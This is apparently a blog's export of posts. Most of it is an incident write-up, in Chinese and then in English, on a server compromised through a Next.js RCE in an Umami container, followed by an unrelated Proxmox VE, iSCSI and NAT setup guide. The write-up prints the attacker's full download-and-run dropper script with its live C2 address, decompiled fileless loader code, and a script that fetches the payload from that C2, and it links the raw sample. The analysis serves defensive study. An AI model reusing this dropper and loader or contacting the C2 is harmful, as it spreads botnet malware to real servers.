H: 可能是获取主机信息 (Host Info)。
其他单字母 (A-Y): 分别调用了不同的子函数（如 sub_7CAF40 等），通常对应：开启代理、执行 Shell 命令、获取系统负载等。

Case 4 (四字符指令)

Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT"
功能: 终止木马进程。

Case 8 (八字符指令 - 核心功能)

这是最关键的部分，暴露了木马的核心能力：

Download
- Hex: 0x64616F6C6E776F44LL -> "Download"
- 功能: 下载器功能。从指定 URL 下载文件。
- 代码逻辑: 如果 a11 (回调函数或接口) 存在，它会调用并处理下载结果。
LocalRun
- Hex: 0x6E75526C61636F4CLL -> "LocalRun"
- 功能: 本地执行。可能是执行本地的一个 Shell 脚本或二进制文件。

Case 9 (九字符指令 - 高级攻击)

InjectRun
- Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun"
- 功能: 内存注入执行。这是一个高级功能，配合你之前看到的 memfd_create，这通常指将 Payload 注入到其他进程或在内存中直接运行，不落地。
PluginRun
- Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun"
- 功能: 插件执行。说明该木马是模块化的，可以动态加载 .so 或 Go 的 plugin 模块来扩展功能（如加密货币挖矿、DDoS 攻击、端口扫描等）。

3. 响应构造逻辑

在 switch 结束后，代码有一段复杂的字符串拼接逻辑：

*(_WORD *)v71 = 15917 -> ASCII | 和 } ? 或者特定的分隔符。
*(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII -。
结论: 木马会将命令执行的结果（如“OK”、“Error”或具体数据）用特定的分隔符（如 |<result>-）包裹后回传给 C2。

4. 总结与画像

结合上一段代码（Loader），我们可以对这个木马做一个完整的画像：

家族推测: 这种 InjectRun / PluginRun / LocalRun 的命名风格，以及 Golang 编写、支持模块化插件的特征，极有可能是 Spark 僵尸网络或者其变种（如 Sliver C2 修改版，但更像黑产自研的 Bot）。也有可能是 Sysrv-hello 挖矿蠕虫的变种（它们常混合使用 Go 和 Exploit）。
攻击链条:
1. Loader: 也就是之前的那个 C 代码，负责环境判断、持久化、内存中下载 Bot。
2. Bot (本代码): 也就是这个 Go 程序，常驻内存。
3. Modules: 通过 PluginRun 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。
4. Lateral Movement (横向移动): mysql_close 暗示它有扫描弱口令的能力，通过 InjectRun 感染内网其他机器。

总结

主要是感觉没什么继续分析的意义了，这个逻辑基本上可以判定是典型的Botnet，找到的IP有99%的概率都是被操控的僵尸机，去调查也没有意义。
主要还是总结一下教训，如何防止这类事情发生，对于我这种小规模的个人网站，爆出CVE最好立刻先停用有关一切服务，等确定修复的版本放出后再更新并重新启用

样本下载：

Payload.zip

注：此样本未经任何处理，请勿在不加安全措施的情况下直接运行！ 密码20251206

The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182

Sat, 06 Dec 2025 15:53:00 GMT

Background

It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check:

What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script. ~~As a CTFer, it's hard to resist analyzing a sample delivered right to your doorstep, right?~~

Analysis

The Script

The warning from Alibaba Cloud showed the execution of a shell script:

/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh

I tried to manually download that python1.sh:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true"
l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true"
a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true"
a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true"

v="042d0094tcp"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
    (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
    (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi

chmod +x $v
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)
#

I found that it downloads the corresponding ELF file based on the CPU architecture.

The Loader

I attempted to manually download the binary for the amd64 architecture specified in the script above and opened it with IDA Pro:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  struct hostent *v3; // rax
  in_addr_t v4; // eax
  int v5; // eax
  int v6; // ebx
  int v7; // r12d
  int v8; // edx
  _BYTE *v9; // rax
  __int64 v10; // rcx
  _DWORD *v11; // rdi
  _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF
  int optval; // [rsp+4h] [rbp-1474h] BYREF
  char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF
  sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF
  char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF
  char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF
  _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF

  if ( !access("/tmp/log_de.log", 0) )
    exit(0);
  qmemcpy(name, "119.45.243.154", sizeof(name));
  *(_QWORD *)&addr.sa_family = 4213178370LL;
  *(_QWORD *)&addr.sa_data[6] = 0LL;
  v3 = gethostbyname(name);
  if ( v3 )
    v4 = **(_DWORD **)v3->h_addr_list;
  else
    v4 = inet_addr(name);
  *(_DWORD *)&addr.sa_data[2] = v4;
  v5 = socket(2, 1, 0);
  v6 = v5;
  if ( v5 >= 0 )
  {
    optval = 10;
    setsockopt(v5, 6, 7, &optval, 4u);
    while ( connect(v6, &addr, 0x10u) == -1 )
      sleep(0xAu);
    send(v6, "l64   ", 6uLL, 0);
    buf[0] = addr.sa_data[0];
    buf[1] = addr.sa_data[1];
    send(v6, buf, 2uLL, 0);
    send(v6, name, 0x20uLL, 0);
    v7 = syscall(319LL, "a", 0LL);
    if ( v7 >= 0 )
    {
      while ( 1 )
      {
        v8 = recv(v6, v19, 0x1000uLL, 0);
        if ( v8 <= 0 )
          break;
        v9 = v19;
        do
          *v9++ ^= 0x99u;
        while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 );
        write(v7, v19, v8);
      }
      v10 = 1024LL;
      v11 = v19;
      while ( v10 )
      {
        *v11++ = 0;
        --v10;
      }
      close(v6);
      realpath(*argv, resolved);
      setenv("CWD", resolved, 1);
      argva[0] = "[kworker/0:2]";
      argva[1] = 0LL;
      fexecve(v7, argva, _bss_start);
    }
  }
  return 0;
}

Analysis revealed several key malicious operations:

v7 = syscall(319LL, "a", 0LL);: 319 corresponds to the memfd_create system call on Linux x64, used to create an anonymous file in memory. Subsequently, it downloads a Payload from the target server and loads it into this memory region for execution. This is a Fileless Malware, which does not store the payload on the disk but loads it directly into memory.
*v9++ ^= 0x99u;: Decrypts the downloaded Payload by XOR-ing each byte with 0x99, likely to evade firewall detection.
argva[0] = "[kworker/0:2]";: Disguises the process as a kernel kworker process.

Other operations:

Checks for the existence of the log file /tmp/log_de.log to determine if the server has already been compromised. If so, it exits immediately.
If connecting to the C2 server fails, it retries every 10 seconds to connect and load the Payload.

The C2 server IP 119.45.243.154 is evident from the reversed code, but the port wasn't immediately obvious. Let's analyze the port setting code:

*(_QWORD *)&addr.sa_family = 4213178370LL;

Here, 4213178370LL (DEC) = 0xFB200002 (HEX). Since it's a QWORD (64-bit value), the actual value is 0x00000000FB200002. Due to little-endian byte order, the bytes stored in memory would be 02 00 20 FB 00 00 00 00. The typical memory layout for sockaddr is:

offset 0–1: sa_family (2 bytes)
offset 2–15: sa_data (14 bytes)

Thus, the assignment above does the following:

offset 0: Low byte of sa_family = 0x02
offset 1: High byte of sa_family = 0x00
offset 2: sa_data[0] = 0x20
offset 3: sa_data[1] = 0xFB
offset 4..7: sa_data[2..5] = 0x00 0x00 0x00 0x00 Here, sa_data[0..1] represents the port, and sa_data[2..5] represents the IP address. Since network byte order is big-endian, the actual port is 0x20FB, which is 8443. The IP address assignment is found later:

v3 = gethostbyname(name);
if ( v3 )
  v4 = **(_DWORD **)v3->h_addr_list;
else
  v4 = inet_addr(name);
*(_DWORD *)&addr.sa_data[2] = v4;

I wrote a Python script to connect to the server based on the loader's logic and attempt to download the Payload into an ELF file:

import socket
import time
import os

C2_HOST = "119.45.243.154"
C2_PORT = 8443

OUTPUT_FILE = "payload.elf"

def xor_decode(data):
    return bytes([b ^ 0x99 for b in data])

def main():
    # Delete old file
    if os.path.exists(OUTPUT_FILE):
        os.remove(OUTPUT_FILE)

    while True:
        try:
            print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...")
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((C2_HOST, C2_PORT))
            print("[+] Connected.")

            # Handshake
            s.send(b"l64   ")
            s.send(b"\x20\xfb")  # fake port
            s.send(b"119.45.243.154".ljust(32, b"\x00"))

            print("[+] Handshake sent.")
            print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n")

            with open(OUTPUT_FILE, "ab") as f:
                while True:
                    data = s.recv(4096)
                    if not data:
                        print("[-] C2 closed connection.")
                        break

                    decrypted = xor_decode(data)
                    f.write(decrypted)

                    print(f"[+] Received {len(data)} bytes, written to file.")

            print("[*] Reconnecting in 10 seconds...\n")
            time.sleep(10)

        except Exception as e:
            print(f"[-] Error: {e}")
            print("[*] Reconnecting in 10 seconds...\n")
            time.sleep(10)

if __name__ == "__main__":
    main()

Running it yielded an ELF file, payload.elf.

Payload.elf

First, I uploaded it to Weibu Cloud Sandbox for detection, which confirmed it was a Trojan:

However, the sandbox didn't detect highly dangerous behaviors. I consulted a senior in reverse engineering, who analyzed the sample and determined it was written in Go. I used GoReSym to export the symbol table and loaded it into IDA Pro:

\GoReSym.exe payload.elf > symbols.json

I had an AI write an IDA Pro script to import the symbol table:

import json
import idc
import idaapi
import idautils

# ⚠️ Modify this: Path to your generated symbols.json file
json_path = r"D:\\Desktop\\symbols.json"

def restore_symbols():
    print("[-] Loading symbols from JSON...")
    try:
        with open(json_path, 'r', encoding='utf-8') as f:
            data = json.load(f)
    except Exception as e:
        print(f"[!] Error opening file: {e}")
        return

    # 1. Restore User Functions
    count = 0
    for func in data.get('UserFunctions', []):
        start_addr = func['Start']
        full_name = func['FullName']

        # Clean up characters IDA doesn't like
        safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_")

        # Attempt to rename
        if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1:
            # Optionally, if renaming succeeds, try to re-analyze as code
            idc.create_insn(start_addr)
            idc.add_func(start_addr)
            count += 1

    print(f"[+] Successfully renamed {count} functions.")

if __name__ == "__main__":
    restore_symbols()

In IDA, I used File -> Script file to run the script and import the symbol table. Simultaneously, I provided the symbol table to an AI for analysis, which identified functions related to OSS bucket operations:

(*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> Steals or uses cloud credentials.
Bucket.PutObjectFromFile -> Uploads files (very likely exfiltrating data from your server to the attacker's OSS Bucket).
Bucket.DoPutObject -> Executes the upload operation.
(*Config).LimitUploadSpeed / LimitDownloadSpeed -> Limits bandwidth usage to avoid detection of abnormal network activity.

Obfuscated Package Name	Real Package / Functional Guess	Evidence (Artifacts)	Behavior Description
`ojQuzc_T`	Aliyun OSS SDK	`PutObjectFromFile`, `GetAccessKeySecret`	Connects to Aliyun OSS, uploads/downloads files, steals credentials.
`l2FdnE6`	`os/exec` (Command Execution)	`(*Ps1Jpr8w8).Start`, `StdinPipe`, `Output`	Executes system commands. It calls Linux shell commands.
`qzjJr5PCHfoj`	`os` / Filesystem Operations	`Readdir`, `Chown`, `Truncate`, `SyscallConn`	Traverses directories, modifies file permissions, reads/writes files.
`PqV1YDIP`	`godbus/dbus` (D-Bus)	`(Conn).BusObject`, `(Conn).Eavesdrop`	Connects to Linux D-Bus. Possibly for privilege escalation, monitoring system events, or interacting with `systemd`.
`c376cVel0vv`	`math/rand`	`NormFloat64`, `Shuffle`, `Int63`	Generates random numbers. Often used for generating communication keys or randomness in mining algorithms.
`r_zJbsaQ`	`net` (Low-level Networking)	`DialContext`, `Listen`, `Accept`, `SetKeepAlive`	Establishes TCP/UDP connections, possibly for C2 communication or as a backdoor listening on a port.
`J9ItGl7U`	`net/http2`	`http2ErrCode`, `WriteHeaders`, `WriteData`	Uses HTTP/2 protocol for communication (likely to hide C2 traffic).
`Otkxde`	ECC Cryptography Library	`ScalarMult`, `Double`, `SetGenerator`	Elliptic curve encryption. Possibly for encrypting C2 communication or as an encryption module for ransomware.

We can infer some possible program logic:

Persistence & Control (D-Bus & Net):
- It attempts to connect via D-Bus using the PqV1YDIP package, which is less common in server malware. It might be trying to hijack system services or monitor administrator activity.
- It listens on ports or establishes reverse connections via r_zJbsaQ.
Data Exfiltration (Aliyun OSS):
- It doesn't send data back to a typical C2 server IP but uses Aliyun OSS as a "transit point." This is a clever tactic because traffic to Aliyun is often considered whitelisted by firewalls and harder to detect.
Command Execution (os/exec):
- It has full shell execution capabilities (l2FdnE6), allowing it to execute arbitrary commands, download scripts, and modify file permissions.
Possible Ransomware or Cryptominer Features:
- Numerous mathematical operation libraries (Otkxde, HfBi9x4DOLl, etc., contain many Mul, Add, Square, Invert) suggest it is computationally intensive.
- If it's ransomware: These math libraries are used to generate keys for encrypting files.
- If it's a cryptocurrency miner: These libraries are used to calculate hashes. Combined with its use of Shuffle and NormFloat64 from math/rand, this aligns with features of some mining algorithms (like RandomX).

Further analysis led to a function named UXTgUQ_stlzy_RraJUM:

I had an AI analyze it and the conclusion was:

This is a very typical C2 (Command & Control) instruction dispatcher function written in Golang.

Combined with the context of the "Linux loader" mentioned earlier, this function belongs to the core Trojan (Bot) that was downloaded and executed by that loader.

1. Overview and Location

Function: Instruction Dispatcher (Command Dispatcher). This is part of the main loop logic of the Trojan, responsible for receiving command strings from the C2 server, parsing them, and executing corresponding malicious functions.
Security Mechanism: The function begins with an authentication check if ( v18 == a2 && (unsigned __int8)sub_4035C0() ). If validation fails, it returns "401 Not Auth", indicating that this Trojan has some anti-scanning or session authentication mechanisms.

2. Detailed Reverse Engineering of the Instruction Set

The code uses switch ( a4 ) to determine the length of the command string and then checks its specific content. There are numerous hardcoded strings and Hex values here:

Case 1 (Single-character commands - Basic Control)

These are likely remnants of an early version or shorthand commands designed to reduce traffic:

I: Calls os_rename. Function: Renames a file.
E: Calls os_removeAll. Function: Deletes files/cleans traces.
J: Returns "0" or unknown. Possibly used for heartbeat detection or status queries.
Z: Returns "mysql_close\t1". Function: Database-related. It's inferred that this Trojan includes a MySQL brute-force or connection module, and this command closes the connection.
H: Possibly gets host information (Host Info).
Other single letters (A-Y): Call different sub-functions (like sub_7CAF40), typically corresponding to: enabling proxies, executing shell commands, obtaining system load, etc.

Case 4 (Four-character commands)

Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT"
Function: Terminates the Trojan process.

Case 8 (Eight-character commands - Core Functions)

This is the most critical part, exposing the Trojan's core capabilities:

Download
- Hex: 0x64616F6C6E776F44LL -> "Download"
- Function: Downloader functionality. Downloads files from a specified URL.
- Code Logic: If a11 (callback function or interface) exists, it calls it to process the download result.
LocalRun
- Hex: 0x6E75526C61636F4CLL -> "LocalRun"
- Function: Local execution. Likely executes a local shell script or binary file.

Case 9 (Nine-character commands - Advanced Attacks)

InjectRun
- Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun"
- Function: Memory injection execution. This is an advanced feature, used in conjunction with memfd_create seen earlier. It typically refers to injecting a payload into another process or running it directly in memory without touching the disk.
PluginRun
- Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun"
- Function: Plugin execution. This indicates that the Trojan is modular and can dynamically load .so or Go plugin modules to extend functionality (such as cryptocurrency mining, DDoS attacks, port scanning, etc.).

3. Response Construction Logic

After the switch block, there is a complex string concatenation logic:

*(_WORD *)v71 = 15917 -> ASCII for | and }? Or specific delimiters.
*(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII for -.
Conclusion: The Trojan wraps the command execution result (like "OK", "Error", or specific data) with specific delimiters (e.g., |<result>-) before sending it back to the C2.

4. Summary and Profile

Combined with the previous code (the Loader), we can create a complete profile for this Trojan:

Family Speculation: This naming style (InjectRun / PluginRun / LocalRun), combined with being written in Go and supporting modular plugins, strongly resembles the Spark botnet or a variant (like a modified version of the Sliver C2, but it's more akin to a custom-built blackhat bot). It could also be a variant of the Sysrv-hello mining worm (which often mixes Go and exploits).
Attack Chain:
1. Loader: The earlier C code, responsible for environment detection, persistence, and downloading the Bot in memory.
2. Bot (this code): This Go program, resident in memory.
3. Modules: Dynamically delivers mining modules (like XMRig) or DDoS attack modules via PluginRun.
4. Lateral Movement: The mysql_close hint suggests it has password-scanning capabilities and infects other machines on the internal network via InjectRun.

Conclusion

Honestly, I felt there wasn't much more meaningful analysis to be done. The logic essentially confirms it's a typical Botnet. The discovered IP has a 99% probability of being a compromised zombie machine, so investigating it seems pointless. The main takeaway is to summarize lessons learned on preventing such incidents. For small-scale personal websites like mine, when a CVE is disclosed, it's best to immediately disable all related services. Wait for a confirmed patched version to be released, then update and re-enable the services.

Sample Download:

Payload.zip

Note: This sample is unprocessed. Do not run it directly without proper security measures! Password: 20251206

记一次手动安装Proxmox VE, 配置多路iSCSI与NAT转发的经历

Sat, 29 Nov 2025 09:39:00 GMT

起因是租了一台物理机, 然后IDC那边没有提供PVE和Debian系统镜像, 只有Ubuntu、CentOS、Windows系列. 同时数据盘是通过多路iSCSI提供的. 我希望使用PVE来对不同使用场景进行隔离, 因此尝试重装并迁移上述配置.

备份配置

首先对系统做个大致的检查, 可发现:

系统存在两张网卡, 一张enp24s0f0接入了公网地址, 用于外部访问; 一张enp24s0f1接入了192.168.128.153的私网地址
数据盘被映射为了/dev/mapper/mpatha
/etc/iscsi下存在两个iSCSI Node的配置, 分别为192.168.128.250:3260、192.168.128.252:3260, 但是二者都对应iqn.2024-12.com.ceph:iscsi. 不难推断出, 数据盘挂载是通过同时配置两个iSCSI Node, 再使用多路的方式合并成一个设备.

查看一下系统的网络配置:

network:
  version: 2
  renderer: networkd
  ethernets:
    enp24s0f0:
      addresses: [211.154.[数据删除]/24]
      routes:
        - to: default
          via: [数据删除]
      match:
          macaddress: ac:1f:6b:0b:e2:d4
      set-name: enp24s0f0
      nameservers:
        addresses:
          - 114.114.114.114
          - 8.8.8.8
    enp24s0f1:
      addresses:
        - 192.168.128.153/17
      match:
        macaddress: ac:1f:6b:0b:e2:d5
      set-name: enp24s0f1

发现就是非常简单的静态路由, 内网网卡甚至没有默认路由, 直接绑定IP即可.

然后将/etc/iscsi下iSCSI的配置文件保存一下, 其中包含了账户密码等信息

重装Debian

此次使用的是bin456789/reinstall重装脚本.
下载脚本:

curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_

重装成Debian 13:

bash reinstall.sh debian 13

然后根据提示输入你想要设置的密码即可

如果不出意外的话, 等待10分钟左右, 会自动完成并重装成一个纯净的Debian 13. 中途可以通过ssh配合设置的密码连接, 查看安装进度.

重装完成后按照惯例进行一个换源和apt upgrade, 即可得到一个纯净的Debian 13啦
换源直接参考USTC镜像站的教程即可

安装Proxmox VE

这一步主要参考Proxmox官方的教程即可

需要注意，上述脚本安装的Debian会将主机名设置为localhost，你如果想要修改的话请在配置Hostname前修改并将hosts中的主机名改成你修改的主机名而非localhost

配置Hostname

Proxmox VE要求为当前的主机名配置一个指向非回环地址的Hosts:

The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like 127.0.0.1 but one that you and other hosts can connect to.

比如此处我的服务器IP为211.154.[数据删除], 我需要在/etc/hosts中添加如下的一条记录:

127.0.0.1       localhost
+211.154.[数据删除] localhost
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

保存后, 使用hostname --ip-address检查是否会输出设置的非回环地址: ::1 127.0.0.1 211.154.[数据删除]

添加Proxmox VE软件源

Debian 13使用了Deb822格式~~当然你想用sources.list也可以~~, 因此直接参考USTC的Proxmox镜像站即可:

cat > /etc/apt/sources.list.d/pve-no-subscription.sources <<EOF
Types: deb
URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pve
Suites: trixie
Components: pve-no-subscription
Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg
EOF

此处需要同步迁移一个keyring过来~~但是我上网找了一圈没找到~~, 因此我选择从我现有的一个Proxmox VE服务器上拉过来一份. 放在这里了: proxmox-keyrings.zip
将公钥文件解压放在/usr/share/keyrings/中, 然后运行

apt update
apt upgrade -y

即可同步Proxmox VE软件源

安装Proxmox VE内核

使用如下命令安装PVE内核并重启以应用新内核:

apt install proxmox-default-kernel
reboot

之后通过uname -r应该能看到当前使用的是类似于6.17.2-2-pve这样以pve结尾的内核版本, 代表新内核应用成功.

安装Proxmox VE相关软件包

使用apt安装对应软件包:

apt install proxmox-ve postfix open-iscsi chrony

配置过程中会需要设置postfix邮件服务器, 官方解释:

如果您的网络中有邮件服务器, 则应将postfix配置为Satellite system. 然后, 您现有的邮件服务器将成为中继主机, 将Proxmox VE发送的电子邮件路由到其最终收件人. 如果您不知道在此处输入什么, 请仅选择Local only, 并保持系统hostname不变.

之后应该能访问https://<你的服务器地址>:8006来打开Web控制台了, 账户为root, 密码为你的root密码, 即重装Debian时配置的密码.

删除旧的Debian内核和`os-prober`

使用以下命令:

apt remove linux-image-amd64 'linux-image-6.1*'
update-grub
apt remove os-prober

来移除旧的Debian内核, 更新grub并移除os-prober. 移除os-prober不是必须的, 但是官方建议这么做, 因为它可能会误将虚拟机的引导文件认成多系统的引导文件, 导致将不该加的一些东西加到引导列表中.

至此, Proxmox VE的安装就完成了, 已经可以正常使用啦！

配置内网网卡

因为IDC那边iSCSI网卡和公网走的不是同一张, 而重装的时候丢失了这部分的配置, 因此需要手动配置一下内网的网卡.
打开Proxmox VE的Web后台, 找到Datacenter-localhost（主机名）-Network, 编辑内网网卡, 如我这里的是ens6f1, 填入上面备份的IPv4的CIDR格式: 192.168.128.153/17并勾选Autostart, 接着保存即可.
接着使用命令来设置网卡状态为UP:

ip link set ens6f1 up

现在能Ping通内网iSCSI服务器的IP了.

配置数据盘

iSCSI

在上一步中, 我们应该已经安装了iscsiadm所需的软件包open-iscsi, 我们只需要按照之前备份的配置重新设置node即可.

首先发现一下iSCSI存储:

iscsiadm -m discovery -t st -p 192.168.128.250:3260

可以得到原先存在的两个LUN Target:

192.168.128.250:3260,1 iqn.2024-12.com.ceph:iscsi
192.168.128.252:3260,2 iqn.2024-12.com.ceph:iscsi

将备份的配置文件传到服务器上, 覆盖掉原先的/etc/iscsi中的配置, 同时, 在我备份的配置中可以找到验证方面的配置:

# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.250,3260,1/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # 略去一些不重要的配置
node.session.auth.authmethod = CHAP
node.session.auth.username = [数据删除]
node.session.auth.password = [数据删除]
node.session.auth.chap_algs = MD5
... # 略去一些不重要的配置

# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.252,3260,2/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # 略去一些不重要的配置
node.session.auth.authmethod = CHAP
node.session.auth.username = [数据删除]
node.session.auth.password = [数据删除]
node.session.auth.chap_algs = MD5
... # 略去一些不重要的配置

按照这些配置文件写入新的系统:

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.username -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.password -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.username -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.password -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5

（我不知道为什么验证信息需要单独写入一次, 但是实测下来不重写它无法登录）

接着, 使用:

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 --login
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 --login

登录Target, 接着使用:

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.startup -v automatic
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.startup -v automatic

开启开机自动挂载.

这个时候通过lsblk之类的工具查看磁盘应该就能发现多了两块硬盘, 我这里多出来了sdb和sdc.

配置multipath多路径

关于如何识别出是多路径设备, 我尝试通过:

/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdb
/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdc

查看两个磁盘设备的scsi_id, 发现二者是相同的, 因此可推断二者是同一块盘, 使用了多路来实现类似负载均衡和故障转移的效果

使用apt安装multipath:

apt install multipath-tools

接着, 创建/etc/multipath.conf并填入:

defaults {
    user_friendly_names yes
    find_multipaths yes
}

配置multipathd开机自启:

systemctl start multipathd
systemctl enable multipathd

接着, 使用如下指令扫描并自动配置多路设备:

multipath -ll

会输出:

mpatha(360014056229953ef442476e85501bfd7)dm-0LIO-ORG,TCMU device
size=500G features='1 queue_if_no_path' hwhandler='1 alua'wp=rw
|-+- policy='service-time 0' prio=50 status=active
| `- 14:0:0:152 sdb 8:16 active ready running
`-+- policy='service-time 0' prio=50 status=active
  `- 14:0:0:152 sdc 8:16 active ready running

可看到已经将两块盘识别成同一个多路设备了. 此时, 可以在/dev/mapper/下找到多路设备的磁盘:

root@localhost:/dev/mapper# ls
control  mpatha

mpatha即为多路聚合的磁盘.

如果没扫描到，可尝试使用:

rescan-scsi-bus.sh

重新扫描SCSI总线后再次尝试，若提示找不到这个指令可以用apt install sg3-utils安装. ~~实在不行咱重启一下~~

配置Proxmox VE使用数据盘

因为我们使用了多路, 因此不能直接选择添加iSCSI类型的存储.
使用如下指令创建PV和VG:

pvcreate /dev/mapper/mpatha
vgcreate <vg名称> /dev/mapper/mpatha

此处我将整块盘都配置成了PV, 你也可以单独划分出来一个分区来做这件事

完成后, 打开Proxmox VE的后台管理, 找到Datacenter-Storage, 点击Add-LVM, Volume group选择刚刚创建的VG的名称, ID自己给他命个名, 然后点击Add即可.

自此, 所有原系统的配置应该已经都迁移过来了

配置NAT

NAT地址转换

因为只买了一个IPv4地址, 所以需要配置一下NAT来让所有虚拟机都能正常上网.
打开/etc/network/interfaces, 添加如下内容:

auto vmbr0
iface vmbr0 inet static
    address   192.168.100.1
    netmask   255.255.255.0
    bridge_ports none
    bridge_stp off
    bridge_fd 0

    post-up   echo 1 > /proc/sys/net/ipv4/ip_forward
    post-up   iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-up   iptables -t raw -I PREROUTING -i fwbr+ -j CT --zone 1
    post-up   iptables -A FORWARD -i vmbr0 -j ACCEPT
    post-down iptables -t nat -D POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-down iptables -t raw -D PREROUTING -i fwbr+ -j CT --zone 1
    post-down iptables -D FORWARD -i vmbr0 -j ACCEPT

其中, vmbr0为NAT网桥, 网桥IP段为192.168.100.0/24 , 该网段流量会被转换为ens6f0外网网卡的IP发出, 并在收到回复时转换为原始IP, 实现共享外部IP.

接着, 使用:

ifreload -a

重载配置.

